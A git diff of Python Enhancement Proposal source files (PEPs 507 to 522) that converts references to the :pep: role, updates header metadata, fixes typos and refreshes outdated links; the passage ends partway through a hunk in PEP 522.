100644 --- a/pep-0507.txt +++ b/pep-0507.txt @@ -17,10 +17,10 @@ Abstract This PEP proposes migrating the repository hosting of CPython and the supporting repositories to Git. Further, it proposes adopting a hosted GitLab instance as the primary way of handling merge requests, -code reviews, and code hosting. It is similar in intent to PEP 481 +code reviews, and code hosting. It is similar in intent to :pep:`481` but proposes an open source alternative to GitHub and omits the -proposal to run Phabricator. As with PEP 481, this particular PEP is -offered as an alternative to PEP 474 and PEP 462. +proposal to run Phabricator. As with :pep:`481`, this particular PEP is +offered as an alternative to :pep:`474` and :pep:`462`. Rationale diff --git a/pep-0508.txt b/pep-0508.txt index 23556bce82b..71f4648194e 100644 --- a/pep-0508.txt +++ b/pep-0508.txt @@ -4,9 +4,10 @@ Version: $Revision$ Last-Modified: $Date$ Author: Robert Collins BDFL-Delegate: Donald Stufft -Discussions-To: distutils-sig -Status: Active -Type: Informational +Discussions-To: distutils-sig@python.org +Status: Final +Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 11-Nov-2015 Post-History: 05-Nov-2015, 16-Nov-2015 @@ -31,8 +32,8 @@ acceptable, so the language permits describing all these cases. The language defined is a compact line based format which is already in widespread use in pip requirements files, though we do not specify the command line option handling that those files permit. There is one caveat - the -URL reference form, specified in PEP-440 [#pep440]_ is not actually -implemented in pip, but since PEP-440 is accepted, we use that format rather +URL reference form, specified in :pep:`440` is not actually +implemented in pip, but since :pep:`440` is accepted, we use that format rather than pip's current native format. Motivation @@ -40,7 +41,7 @@ Motivation Any specification in the Python packaging ecosystem that needs to consume lists of dependencies needs to build on an approved PEP for such, but -PEP-426 [#pep426]_ is mostly aspirational - and there are already existing +:pep:`426` is mostly aspirational - and there are already existing implementations of the dependency specification which we can instead adopt. The existing implementations are battle proven and user friendly, so adopting them is arguably much better than approving an aspirational, unconsumed, format. @@ -82,8 +83,8 @@ as comments, multiple line support via continuations, or other such features. The full grammar including annotations to build a useful parse tree is included at the end of the PEP. -Versions may be specified according to the PEP-440 [#pep440]_ rules. (Note: -URI is defined in std-66 [#std66]_):: +Versions may be specified according to the :pep:`440` rules. (Note: +URI is defined in :rfc:`std-66 <3986>`):: version_cmp = wsp* '<' | '<=' | '!=' | '==' | '>=' | '>' | '~=' | '===' version = wsp* ( letterOrDigit | '-' | '_' | '.' | '*' | '+' | '!' )+ @@ -151,7 +152,7 @@ sole exception is detecting the end of a URL requirement. Names ----- -Python distribution names are currently defined in PEP-345 [#pep345]_. Names +Python distribution names are currently defined in :pep:`345`. Names act as the primary identifier for distributions. They are present in all dependency specifications, and are sufficient to be a specification on their own. However, PyPI places strict restrictions on names - they must match a @@ -182,12 +183,12 @@ If multiple extras are listed, all the dependencies are unioned together. Versions -------- -See PEP-440 [#pep440]_ for more detail on both version numbers and version +See :pep:`440` for more detail on both version numbers and version comparisons. Version specifications limit the versions of a distribution that can be used. They only apply to distributions looked up by name, rather than via a URL. Version comparison are also used in the markers feature. The -optional brackets around a version are present for compatibility with PEP-345 -[#pep345]_ but should not be generated, only accepted. +optional brackets around a version are present for compatibility with :pep:`345` +but should not be generated, only accepted. Environment Markers ------------------- @@ -204,15 +205,14 @@ False, the dependency specification should be ignored. The marker language is inspired by Python itself, chosen for the ability to safely evaluate it without running arbitrary code that could become a security -vulnerability. Markers were first standardised in PEP-345 [#pep345]_. This PEP -fixes some issues that were observed in the design described in PEP-426 -[#pep426]_. +vulnerability. Markers were first standardised in :pep:`345`. This PEP +fixes some issues that were observed in the design described in :pep:`426`. Comparisons in marker expressions are typed by the comparison operator. The operators that are not in perform the same as they -do for strings in Python. The operators use the PEP-440 -[#pep440]_ version comparison rules when those are defined (that is when both -sides have a valid version specifier). If there is no defined PEP-440 +do for strings in Python. The operators use the :pep:`440` +version comparison rules when those are defined (that is when both +sides have a valid version specifier). If there is no defined :pep:`440` behaviour and the operator exists in Python, then the operator falls back to the Python behaviour. Otherwise an error should be raised. e.g. the following will result in errors:: @@ -241,7 +241,7 @@ variables. The "extra" variable is special. It is used by wheels to signal which specifications apply to a given extra in the wheel ``METADATA`` file, but -since the ``METADATA`` file is based on a draft version of PEP-426, there is +since the ``METADATA`` file is based on a draft version of :pep:`426`, there is no current specification for this. Regardless, outside of a context where this special handling is taking place, the "extra" variable should result in an error like all other unknown variables. @@ -316,13 +316,13 @@ concerns. There are however a few points where the PEP differs from the deployed base. -Firstly, PEP-440 direct references haven't actually been deployed in the wild, +Firstly, :pep:`440` direct references haven't actually been deployed in the wild, but they were designed to be compatibly added, and there are no known obstacles to adding them to pip or other tools that consume the existing dependency metadata in distributions - particularly since they won't be permitted to be present in PyPI uploaded distributions anyway. -Secondly, PEP-426 markers which have had some reasonable deployment, +Secondly, :pep:`426` markers which have had some reasonable deployment, particularly in wheels and pip, will handle version comparisons with ``python_full_version`` "2.7.10" differently. Specifically in 426 "2.7.10" is less than "2.7.9". This backward incompatibility is deliberate. We are also @@ -334,8 +334,8 @@ both features will need to make a judgement as to when support has become sufficiently widespread in the ecosystem that using them will not cause compatibility issues. -Thirdly, PEP-345 required brackets around version specifiers. In order to -accept PEP-345 dependency specifications, brackets are accepted, but they +Thirdly, :pep:`345` required brackets around version specifiers. In order to +accept :pep:`345` dependency specifications, brackets are accepted, but they should not be generated. Rationale @@ -545,18 +545,6 @@ References .. [#pip] pip, the recommended installer for Python packages (http://pip.readthedocs.org/en/stable/) -.. [#pep345] PEP-345, Python distribution metadata version 1.2. - (https://www.python.org/dev/peps/pep-0345/) - -.. [#pep426] PEP-426, Python distribution metadata. - (https://www.python.org/dev/peps/pep-0426/) - -.. [#pep440] PEP-440, Python distribution metadata. - (https://www.python.org/dev/peps/pep-0440/) - -.. [#std66] The URL specification. - (https://tools.ietf.org/html/rfc3986) - .. [#parsley] The parsley PEG library. (https://pypi.python.org/pypi/parsley/) diff --git a/pep-0509.txt b/pep-0509.txt index aa59d5a5da9..2f672d3e5bf 100644 --- a/pep-0509.txt +++ b/pep-0509.txt @@ -55,8 +55,8 @@ is modified, the function uses a regular lookup, and maybe also deoptimizes the function (to remove the overhead of the guard check for next function calls). -See the `PEP 510 -- Specialized functions with guards -`_ for concrete usage of +See the :pep:`510 -- Specialized functions with guards <510>` +for concrete usage of guards to specialize functions and for a more general rationale on Python static optimizers. @@ -122,8 +122,7 @@ must also be invalidated. Specialized functions using guards ---------------------------------- -The `PEP 510 -- Specialized functions with guards -`_ proposes an API to support +:pep:`510` proposes an API to support specialized functions with guards. It allows to implement static optimizers for Python without breaking the Python semantics. @@ -310,7 +309,7 @@ Expose the version at Python level as a read-only __version__ property The first version of the PEP proposed to expose the dictionary version as a read-only ``__version__`` property at Python level, and also to add -the property to ``collections.UserDict`` (since this type must mimick +the property to ``collections.UserDict`` (since this type must mimic the ``dict`` API). There are multiple issues: @@ -408,10 +407,8 @@ example, it increases the size of each dictionary entry by 8 bytes on In Python, the memory footprint matters and the trend is to reduce it. Examples: -* `PEP 393 -- Flexible String Representation - `_ -* `PEP 412 -- Key-Sharing Dictionary - `_ +* :pep:`393` -- Flexible String Representation +* :pep:`412` -- Key-Sharing Dictionary Add a new dict subtype diff --git a/pep-0510.txt b/pep-0510.txt index 9f54fc7f31e..70746c9ef7f 100644 --- a/pep-0510.txt +++ b/pep-0510.txt @@ -250,7 +250,7 @@ function:: # use the specialized code return specialized_code elif check == 1: - # a guard failed temporarely: + # a guard failed temporarily: # try the next specialized code index += 1 else: @@ -315,7 +315,7 @@ The ``init()`` function initializes a guard: The ``check()`` function checks a guard: * Return ``0`` on success -* Return ``1`` if the guard failed temporarely +* Return ``1`` if the guard failed temporarily * Return ``2`` if the guard will always fail: the specialized code must be removed * Raise an exception and return ``-1`` on error diff --git a/pep-0511.txt b/pep-0511.txt index d54546a448d..22368071673 100644 --- a/pep-0511.txt +++ b/pep-0511.txt @@ -79,8 +79,7 @@ Example of optimizations which can be implemented with an AST optimizer: * `Dead code elimination `_ -Using guards (see the `PEP 510 -`_), it is possible to +Using guards (see :pep:`510`), it is possible to implement a much wider choice of optimizations. Examples: * Simplify iterable: replace ``range(3)`` with ``(0, 1, 2)`` when used @@ -137,11 +136,11 @@ Some examples: `_ * Domain Specific Language (DSL) like SQL queries. The Python language itself doesn't need to be modified. Previous attempts - to implement DSL for SQL like `PEP 335 - Overloadable Boolean - Operators `_ was rejected. + to implement DSL for SQL like :pep:`PEP 335 - Overloadable Boolean + Operators <335>` was rejected. * Pattern Matching of functional languages -* String Interpolation, but `PEP 498 -- Literal String Interpolation - `_ was merged into Python +* String Interpolation, but :pep:`498` + was merged into Python 3.6. `MacroPy `_ has a long list of @@ -514,7 +513,7 @@ Output:: AST transformer --------------- -Similary to the bytecode transformer example, the AST transformer also +Similarly to the bytecode transformer example, the AST transformer also replaces all strings with ``"Ni! Ni! Ni!"``:: import ast @@ -549,7 +548,7 @@ Output:: Other Python implementations ============================ -The PEP 511 should be implemented by all Python implementation, but the +The :pep:`511` should be implemented by all Python implementation, but the bytecode and the AST are not standardized. By the way, even between minor version of CPython, there are changes on diff --git a/pep-0512.txt b/pep-0512.txt index d61773be4a1..e5c5917f27e 100644 --- a/pep-0512.txt +++ b/pep-0512.txt @@ -69,7 +69,7 @@ burdensome as it gets for a core developer to work with. Hence the decision was made in late 2014 that a move to a new development process was needed. A request for PEPs proposing new workflows was made, in the end leading to two: -PEP 481 and PEP 507 proposing GitHub [#github]_ and +:pep:`481` and :pep:`507` proposing GitHub [#github]_ and GitLab [#gitlab]_, respectively. The year 2015 was spent off-and-on working on those proposals and @@ -465,8 +465,8 @@ Work for this is being tracked at https://github.com/python/core-workflow/issues/7. -Create https://git.python.org -''''''''''''''''''''''''''''' +Create ``https://git.python.org`` +''''''''''''''''''''''''''''''''' Just as hg.python.org [#h.p.o]_ currently points to the Mercurial repository for Python, git.python.org should do the equivalent for @@ -739,7 +739,7 @@ Required: - Message #python-dev for each commit (PR or direct) (https://github.com/python/cpython/settings/hooks/new?service=irc) - Get docs built from git - (https://github.com/python/docsbuild-scripts/blob/master/build_docs.py already + (https://github.com/python/docsbuild-scripts/blob/main/build_docs.py already updated; https://github.com/python/psf-salt/pull/91 to switch) - Migrate buildbots to be triggered and pull from GitHub diff --git a/pep-0513.txt b/pep-0513.txt index 06faf49f493..bae964a836e 100644 --- a/pep-0513.txt +++ b/pep-0513.txt @@ -4,12 +4,14 @@ Version: $Revision$ Last-Modified: $Date$ Author: Robert T. McGibbon , Nathaniel J. Smith BDFL-Delegate: Nick Coghlan -Discussions-To: Distutils SIG -Status: Active +Discussions-To: distutils-sig@python.org +Status: Superseded Type: Informational +Topic: Packaging Content-Type: text/x-rst Created: 19-Jan-2016 Post-History: 19-Jan-2016, 25-Jan-2016, 29-Jan-2016 +Superseded-By: 600 Resolution: https://mail.python.org/pipermail/distutils-sig/2016-January/028211.html @@ -28,7 +30,8 @@ Rationale ========= Currently, distribution of binary Python extensions for Windows and OS X is -straightforward. Developers and packagers build wheels [1]_ [2]_, which are +straightforward. Developers and packagers build wheels (:pep:`427`, :pep:`491`), +which are assigned platform tags such as ``win32`` or ``macosx_10_6_intel``, and upload these wheels to PyPI. Users can download and install these wheels using tools such as ``pip``. @@ -38,7 +41,7 @@ extension modules built on one Linux distribution will not work on other Linux distributions, or even on different machines running the same Linux distribution with different system libraries installed. -Build tools using PEP 425 platform tags [3]_ do not track information about the +Build tools using :pep:`425` platform tags do not track information about the particular Linux distribution or installed system libraries, and instead assign all wheels the too-vague ``linux_i686`` or ``linux_x86_64`` tags. Because of this ambiguity, there is no expectation that ``linux``-tagged built @@ -592,12 +595,6 @@ defer specifying these until we have more experience with the initial References ========== -.. [1] PEP 427 -- The Wheel Binary Package Format 1.0 - (https://www.python.org/dev/peps/pep-0427/) -.. [2] PEP 491 -- The Wheel Binary Package Format 1.9 - (https://www.python.org/dev/peps/pep-0491/) -.. [3] PEP 425 -- Compatibility Tags for Built Distributions - (https://www.python.org/dev/peps/pep-0425/) .. [4] Enthought Canopy Python Distribution (https://store.enthought.com/downloads/) .. [5] Continuum Analytics Anaconda Python Distribution diff --git a/pep-0514.txt b/pep-0514.txt index 98ad939a7ce..dd1b63a0a0f 100644 --- a/pep-0514.txt +++ b/pep-0514.txt @@ -38,7 +38,7 @@ Motivation When installed on Windows, the official Python installer creates a registry key for discovery and detection by other applications. This allows tools such as installers or IDEs to automatically detect and display a user's Python -installations. For example, the PEP 397 ``py.exe`` launcher and editors such as +installations. For example, the :pep:`397` ``py.exe`` launcher and editors such as PyCharm and Visual Studio already make use of this information. Third-party installers, such as those used by distributions, typically create @@ -171,7 +171,7 @@ name (preferred), a hostname, or as a last resort, a UUID would be appropriate:: HKEY_CURRENT_USER\Software\Python\www.example.com HKEY_CURRENT_USER\Software\Python\6C465E66-5A8C-4942-9E6A-D29159480C60 -The company name ``PyLauncher`` is reserved for the PEP 397 launcher +The company name ``PyLauncher`` is reserved for the :pep:`397` launcher (``py.exe``). It does not follow this convention and should be ignored by tools. If a string value named ``DisplayName`` exists, it should be used to identify diff --git a/pep-0515.txt b/pep-0515.txt index be5fbe4f752..6cb1864f305 100644 --- a/pep-0515.txt +++ b/pep-0515.txt @@ -175,13 +175,13 @@ References .. [1] http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2013/n3499.html -.. [2] http://dlang.org/spec/lex.html#integerliteral +.. [2] https://dlang.org/spec/lex.html#integerliteral -.. [3] http://perldoc.perl.org/perldata.html#Scalar-value-constructors +.. [3] https://perldoc.perl.org/perldata#Scalar-value-constructors -.. [4] http://doc.rust-lang.org/reference.html#number-literals +.. [4] https://web.archive.org/web/20160304121349/http://doc.rust-lang.org/reference.html#integer-literals -.. [5] https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/LexicalStructure.html +.. [5] https://docs.swift.org/swift-book/ReferenceManual/LexicalStructure.html .. [6] https://github.com/dotnet/roslyn/issues/216 @@ -189,9 +189,9 @@ References .. [8] http://archive.adaic.com/standards/83lrm/html/lrm-02-04.html#2.4 -.. [9] http://docs.julialang.org/en/release-0.4/manual/integers-and-floating-point-numbers/ +.. [9] https://web.archive.org/web/20160223175334/http://docs.julialang.org/en/release-0.4/manual/integers-and-floating-point-numbers/ -.. [10] http://ruby-doc.org/core-2.3.0/doc/syntax/literals_rdoc.html#label-Numbers +.. [10] https://ruby-doc.org/core-2.3.0/doc/syntax/literals_rdoc.html#label-Numbers .. [11] https://mail.python.org/pipermail/python-dev/2016-February/143283.html diff --git a/pep-0516.txt b/pep-0516.txt index ee267aebc2b..de209ada097 100644 --- a/pep-0516.txt +++ b/pep-0516.txt @@ -5,9 +5,10 @@ Last-Modified: $Date$ Author: Robert Collins , Nathaniel Smith BDFL-Delegate: Nick Coghlan -Discussions-To: distutils-sig +Discussions-To: distutils-sig@python.org Status: Rejected Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 26-Oct-2015 Resolution: https://mail.python.org/pipermail/distutils-sig/2017-May/030517.html @@ -36,14 +37,14 @@ install build time requirements for packages which is an important step in getting pip to full feature parity with the installation components of easy-install. -As PEP-426 [#pep426]_ is draft, we cannot utilise the metadata format it -defined. However PEP-427 wheels are in wide use and fairly well specified, so +As :pep:`426` is draft, we cannot utilise the metadata format it +defined. However :pep:`427` wheels are in wide use and fairly well specified, so we have adopted the METADATA format from that for specifying distribution -dependencies and general project metadata. PEP-0508 [#pep508] provides a +dependencies and general project metadata. :pep:`508` provides a self-contained language for describing a dependency, which we encapsulate in a thin JSON schema to describe bootstrap dependencies. -Since Python sdists specified in PEP-0314 [#pep314] are also source trees, this +Since Python sdists specified in :pep:`314` are also source trees, this PEP is updating the definition of sdists. @@ -51,7 +52,7 @@ PEP Rejection ============= The CLI based approach proposed in this PEP has been rejected in favour of the -Python API based approach proposed in PEP 517. The specific CLI used to +Python API based approach proposed in :pep:`517`. The specific CLI used to communicate with build backends running as isolated subprocesses will be considered an implementation detail of front-end developer tool implementations. @@ -97,7 +98,7 @@ schema schema version. bootstrap_requires - Optional list of dependency specifications [#pep508] that must be + Optional list of :pep:`508` dependency specifications that must be installed before running the build tool. For instance, if using flit, then the requirements might be:: @@ -164,7 +165,7 @@ The examples below use a build_command of ``flit`` for illustrative purposes. build_requires Query build requirements. Build requirements are returned as a UTF-8 encoded JSON document with one key ``build_requires`` consisting of a list - of dependency specifications [#pep508]_. Additional keys must be + of :pep:`508` dependency specifications. Additional keys must be ignored. The build_requires command is the only command run without setting up a build environment. @@ -176,7 +177,7 @@ metadata Query project metadata. The metadata and only the metadata should be output on stdout in UTF-8 encoding. pip would run metadata just once to determine what other packages need to be downloaded and installed. The - metadata is output as a wheel METADATA file per PEP-427 [#pep427]_. + metadata is output as a wheel METADATA file per :pep:`427`. Note that the metadata generated by the metadata command, and the metadata present in a generated wheel must be identical. @@ -382,7 +383,7 @@ a dependency, but otherwise deferred such to future iterations. We chose wheel METADATA files rather than defining a new specification, because pip can already handle wheel .dist-info directories which encode all -the necessary data in a METADATA file. PEP-426 can't be used as it's still +the necessary data in a METADATA file. :pep:`426` can't be used as it's still draft, and defining a new metadata format, while we should do that, is a separate problem. Using a directory on disk would not add any value to the interface (pip has to do that today due to limitations in the setuptools @@ -418,7 +419,7 @@ learning how to invoke a custom build tool. The metadata and wheel commands are required to have consistent metadata to avoid a race condition that could otherwise happen where pip reads the metadata, acts on it, and then the resulting wheel has incompatible -requirements. That race is exploited today by packages using PEP-426 +requirements. That race is exploited today by packages using :pep:`426` environment markers, to work with older pip versions that do not support environment markers. That exploit is not needed with this PEP, because either the setuptools shim is in use (with older pip versions), or an environment @@ -434,10 +435,10 @@ does today, and while there is a PR to do that as part of building from source, it is contentious and lacks consensus. Rather than impose a requirement on all build systems, we are treating it as a YAGNI, and will add such a verb in a future version of the interface if required. The existing -PEP-314 [#pep314] requirements for sdists still apply, and distutils or setuptools +:pep:`314` requirements for sdists still apply, and distutils or setuptools users can use ``setup.py sdist`` to create an sdist. Other tools should create -sdists compatible with PEP-314 [#pep314]. Note that pip itself does not require -PEP-314 compatibility - it does not use any of the metadata from sdists - they +sdists compatible with :pep:`314`. Note that pip itself does not require +:pep:`314` compatibility - it does not use any of the metadata from sdists - they are treated like source trees from disk or version control. References @@ -458,12 +459,6 @@ References .. [#shellvars] Shellvars, an implementation of shell variable rules for Python. (https://github.com/testing-cabal/shellvars) -.. [#pep426] PEP-426, Python distribution metadata. - (https://www.python.org/dev/peps/pep-0426/) - -.. [#pep427] PEP-427, Python distribution metadata. - (https://www.python.org/dev/peps/pep-0427/) - .. [#thread] The kick-off thread. (https://mail.python.org/pipermail/distutils-sig/2015-October/026925.html) @@ -473,12 +468,6 @@ References .. [#strformat] The Python string formatting syntax. (https://docs.python.org/3.1/library/string.html#format-string-syntax) -.. [#pep314] Metadata for Python Software Packages v1.1 - (https://www.python.org/dev/peps/pep-0314/) - -.. [#pep508] Dependency specification language PEP. - (https://www.python.org/dev/peps/pep-0508/) - Copyright ========= diff --git a/pep-0517.txt b/pep-0517.txt index a60bb399274..295c55c0f50 100644 --- a/pep-0517.txt +++ b/pep-0517.txt @@ -5,12 +5,13 @@ Last-Modified: $Date$ Author: Nathaniel J. Smith , Thomas Kluyver BDFL-Delegate: Nick Coghlan -Discussions-To: -Status: Provisional +Discussions-To: distutils-sig@python.org +Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 30-Sep-2015 -Post-History: 1 Oct 2015, 25 Oct 2015, 19 May 2017, 11 Sep 2017 +Post-History: 01-Oct-2015, 25-Oct-2015, 19-May-2017, 11-Sep-2017 Resolution: https://mail.python.org/pipermail/distutils-sig/2017-September/031548.html ========== @@ -50,16 +51,6 @@ We therefore propose a new, relatively minimal interface for installation tools like ``pip`` to interact with package source trees and source distributions. -======================= - Provisional acceptance -======================= - -In accordance with the PyPA's specification process, this PEP has been -`provisionally accepted `_ -for initial implementation in ``pip`` and other PyPA tools. - -During this time, the specification is still subject to revision based -on real world experience with those initial implementations. ======================= Terminology and goals @@ -111,7 +102,7 @@ specification is encoded in the source code and documentation of to it as the ``setup.py``\-style. Here we define a new style of source tree based around the -``pyproject.toml`` file defined in PEP 518, extending the +``pyproject.toml`` file defined in :pep:`518`, extending the ``[build-system]`` table in that file with one additional key, ``build-backend``. Here's an example of how it would look:: @@ -220,7 +211,7 @@ build_wheel :: - build_wheel(wheel_directory, config_settings=None, metadata_directory=None): + def build_wheel(wheel_directory, config_settings=None, metadata_directory=None): ... Must build a .whl file, and place it in the specified ``wheel_directory``. It @@ -273,7 +264,7 @@ A .tar.gz source distribution (sdist) contains a single top-level directory call package. This directory must also contain the ``pyproject.toml`` from the build directory, and a PKG-INFO file containing metadata in the format described in -`PEP 345 `_. Although historically +:pep:`345`. Although historically zip files have also been used as sdists, this hook should produce a gzipped tarball. This is already the more common format for sdists, and having a consistent format makes for simpler tooling. @@ -305,7 +296,7 @@ get_requires_for_build_wheel def get_requires_for_build_wheel(config_settings=None): ... -This hook MUST return an additional list of strings containing PEP 508 +This hook MUST return an additional list of strings containing :pep:`508` dependency specifications, above and beyond those specified in the ``pyproject.toml`` file, to be installed when calling the ``build_wheel`` or ``prepare_metadata_for_build_wheel`` hooks. @@ -350,9 +341,9 @@ get_requires_for_build_sdist :: def get_requires_for_build_sdist(config_settings=None): - ... + ... -This hook MUST return an additional list of strings containing PEP 508 +This hook MUST return an additional list of strings containing :pep:`508` dependency specifications, above and beyond those specified in the ``pyproject.toml`` file. These dependencies will be installed when calling the ``build_sdist`` hook. @@ -600,7 +591,7 @@ Integration frontends require that an sdist named ``{NAME}-{VERSION}.{EXT}`` will generate a wheel named ``{NAME}-{VERSION}-{COMPAT-INFO}.whl``. -The new restrictions for sdists built by PEP 517 backends are: +The new restrictions for sdists built by :pep:`517` backends are: - They will be gzipped tar archives, with the ``.tar.gz`` extension. Zip archives, or other compression formats for tarballs, are not allowed at @@ -698,7 +689,7 @@ implementation was released in pip 19.0. * Support for in-tree backends and self-hosting of backends was added by the introduction of the ``backend-path`` key in the ``[build-system]`` table. -* Clarified that the ``setuptools.build_meta:__legacy__`` PEP 517 backend is +* Clarified that the ``setuptools.build_meta:__legacy__`` :pep:`517` backend is an acceptable alternative to directly invoking ``setup.py`` for source trees that don't specify ``build-backend`` explicitly. @@ -712,7 +703,7 @@ has now been rejected in favour of this PEP. The primary difference is that our build backend is defined via a Python hook-based interface rather than a command-line based interface. -This appendix documents the arguments advanced for this PEP over PEP 516. +This appendix documents the arguments advanced for this PEP over :pep:`516`. We do *not* expect that specifying Python hooks rather than command line interfaces will, by itself, reduce the @@ -811,6 +802,7 @@ build backend:: import os.path import pathlib import shutil + import tarfile SDIST_NAME = "mypackage-0.1" SDIST_FILENAME = SDIST_NAME + ".tar.gz" @@ -866,7 +858,7 @@ could be added incrementally. Much experience suggests that large successful projects often originate as quick hacks (e.g., Linux -- "just a hobby, won't be big and professional"; `IPython/Jupyter `_ -- `a grad -student's ` ``$PYTHONSTARTUP`` file +student's $PYTHONSTARTUP file `_), so if our goal is to encourage the growth of a vibrant ecosystem of good build tools, it's important to minimize the barrier to entry. @@ -940,7 +932,7 @@ process, it can easily write it to do something like:: In the alternative where the public interface boundary is placed at the subprocess call, this is not possible -- either we need to spawn an extra process just to query what interfaces are supported (as was -included in an earlier draft of PEP 516, an alternative to this), or +included in an earlier draft of :pep:`516`, an alternative to this), or else we give up on autonegotiation entirely (as in the current version of that PEP), meaning that any changes in the interface will require N individual packages to update their ``pyproject.toml`` files before diff --git a/pep-0518.txt b/pep-0518.txt index 820d018d856..c2d74764af7 100644 --- a/pep-0518.txt +++ b/pep-0518.txt @@ -6,9 +6,10 @@ Author: Brett Cannon , Nathaniel Smith , Donald Stufft BDFL-Delegate: Nick Coghlan -Discussions-To: distutils-sig +Discussions-To: distutils-sig@python.org Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 10-May-2016 Post-History: 10-May-2016, @@ -119,7 +120,7 @@ To provide more context and motivation for this PEP, think of the 2. Installation of the build system. 3. Execute the build system. -This PEP covers step #2. PEP 517 covers step #3, including how to have +This PEP covers step #2. :pep:`517` covers step #3, including how to have the build system dynamically specify more dependencies that the build system requires to perform its job. The purpose of this PEP though, is to specify the minimal set of requirements for the build system to @@ -157,7 +158,7 @@ build-system table The ``[build-system]`` table is used to store build-related data. Initially only one key of the table will be valid and is mandatory for the table: ``requires``. This key must have a value of a list -of strings representing PEP 508 dependencies required to execute the +of strings representing :pep:`508` dependencies required to execute the build system (currently that means what dependencies are required to execute a ``setup.py`` file). diff --git a/pep-0519.txt b/pep-0519.txt index 20df78436e9..576c19e506e 100644 --- a/pep-0519.txt +++ b/pep-0519.txt @@ -44,7 +44,7 @@ file system path whether it actually represents a path or not. To help elevate the representation of file system paths from their representation as strings and bytes to a richer object representation, the pathlib module [#pathlib]_ was provisionally introduced in -Python 3.4 through PEP 428. While considered by some as an improvement +Python 3.4 through :pep:`428`. While considered by some as an improvement over strings and bytes for file system paths, it has suffered from a lack of adoption. Typically the key issue listed for the low adoption rate has been the lack of support in the standard library. This lack @@ -415,7 +415,7 @@ Much of the discussion that led to this PEP revolved around whether ``__fspath__()`` should be polymorphic and return ``bytes`` as well as ``str`` or only return ``str``. The general sentiment for this view was that ``bytes`` are difficult to work with due to their -inherent lack of information about their encoding and PEP 383 makes +inherent lack of information about their encoding and :pep:`383` makes it possible to represent all file system paths using ``str`` with the ``surrogateescape`` handler. Thus, it would be better to forcibly promote the use of ``str`` as the low-level path representation for @@ -518,7 +518,7 @@ References .. [#python-dev-archive] The python-dev mailing list archive (https://mail.python.org/pipermail/python-dev/) -.. [#libc-open] ``open()`` documention for the C standard library +.. [#libc-open] ``open()`` documentation for the C standard library (http://www.gnu.org/software/libc/manual/html_node/Opening-and-Closing-Files.html) .. [#pathlib] The ``pathlib`` module diff --git a/pep-0520.txt b/pep-0520.txt index 6fd52fdb3a0..d3090f0ef6f 100644 --- a/pep-0520.txt +++ b/pep-0520.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 07-Jun-2016 Python-Version: 3.6 -Post-History: 7-Jun-2016, 11-Jun-2016, 20-Jun-2016, 24-Jun-2016 +Post-History: 07-Jun-2016, 11-Jun-2016, 20-Jun-2016, 24-Jun-2016 Resolution: https://mail.python.org/pipermail/python-dev/2016-June/145442.html .. note:: @@ -93,7 +93,7 @@ with that: First, it requires the use of a metaclass. Metaclasses introduce an extra level of complexity to code and in some cases (e.g. conflicts) are a problem. So reducing the need for them is worth doing when the -opportunity presents itself. PEP 422 and PEP 487 discuss this at +opportunity presents itself. :pep:`422` and :pep:`487` discuss this at length. We have such an opportunity by using an ordered mapping (e.g. ``OrderedDict`` for CPython at least) for the default class definition namespace, virtually eliminating the need for ``__prepare__()``. @@ -344,8 +344,8 @@ be minimal. All conforming implementations are expected to set Implementation ============== -The implementation is found in the tracker. [impl_] - +The implementation is found in the +`tracker `__. Alternatives ============ @@ -373,9 +373,10 @@ as a pain point. A "namespace" Keyword Arg for Class Definition ---------------------------------------------- -PEP 422 introduced a new "namespace" keyword arg to class definitions -that effectively replaces the need to ``__prepare__()``. [pep422_] -However, the proposal was withdrawn in favor of the simpler PEP 487. +:pep:`PEP 422 <422#order-preserving-classes>` +introduced a new "namespace" keyword arg to class definitions +that effectively replaces the need to ``__prepare__()``. +However, the proposal was withdrawn in favor of the simpler :pep:`487`. A stdlib Metaclass that Implements __prepare__() with OrderedDict ----------------------------------------------------------------- @@ -409,27 +410,17 @@ discovery is almost entirely an implementation detail. References ========== -.. [impl] issue #24254 - (https://bugs.python.org/issue24254) - -.. [nick_concern] Nick's concerns about mutability - (https://mail.python.org/pipermail/python-dev/2016-June/144883.html) - -.. [pep422] PEP 422 - (https://www.python.org/dev/peps/pep-0422/#order-preserving-classes) - -.. [pep487] PEP 487 - (https://www.python.org/dev/peps/pep-0487/#defining-arbitrary-namespaces) - -.. [orig] original discussion - (https://mail.python.org/pipermail/python-ideas/2013-February/019690.html) +* `Original discussion + `__ -.. [followup1] follow-up 1 - (https://mail.python.org/pipermail/python-dev/2013-June/127103.html) +* `Follow-up 1 + `__ -.. [followup2] follow-up 2 - (https://mail.python.org/pipermail/python-dev/2015-May/140137.html) +* `Follow-up 2 + `__ +* `Nick Coghlan's concerns about mutability + `__ Copyright =========== diff --git a/pep-0521.txt b/pep-0521.txt index fc671570288..e31cf36cd6e 100644 --- a/pep-0521.txt +++ b/pep-0521.txt @@ -13,7 +13,7 @@ Post-History: 29-Apr-2015 PEP Withdrawal ============== -Withdrawn in favor of PEP 567. +Withdrawn in favor of :pep:`567`. Abstract @@ -68,7 +68,7 @@ More formally, consider the following code:: f((yield foo)) PARTIAL-BLOCK-2 -Currently this is equivalent to the following code (copied from PEP 343):: +Currently this is equivalent to the following code (copied from :pep:`343`):: mgr = (EXPR) exit = type(mgr).__exit__ # Not calling it yet @@ -308,7 +308,7 @@ down to a single C-level ``if (frame->needs_suspend_resume_calls) { Interaction with PEP 492 ======================== -PEP 492 added new asynchronous context managers, which are like +:pep:`492` added new asynchronous context managers, which are like regular context managers, but instead of having regular methods ``__enter__`` and ``__exit__`` they have coroutine methods ``__aenter__`` and ``__aexit__``. diff --git a/pep-0522.txt b/pep-0522.txt index f60a26b125d..be3690e7532 100644 --- a/pep-0522.txt +++ b/pep-0522.txt @@ -60,9 +60,9 @@ potentially be encountered in the following situations: Relationship with other PEPs ============================ -This PEP depends on the Accepted PEP 506, which adds the ``secrets`` module. +This PEP depends on the Accepted :pep:`506`, which adds the ``secrets`` module. -This PEP competes with Victor Stinner's PEP 524, which proposes to make +This PEP competes with Victor Stinner's :pep:`524`, which proposes to make ``os.urandom`` itself implicitly block when the system RNG is not ready. @@ -70,7 +70,7 @@ 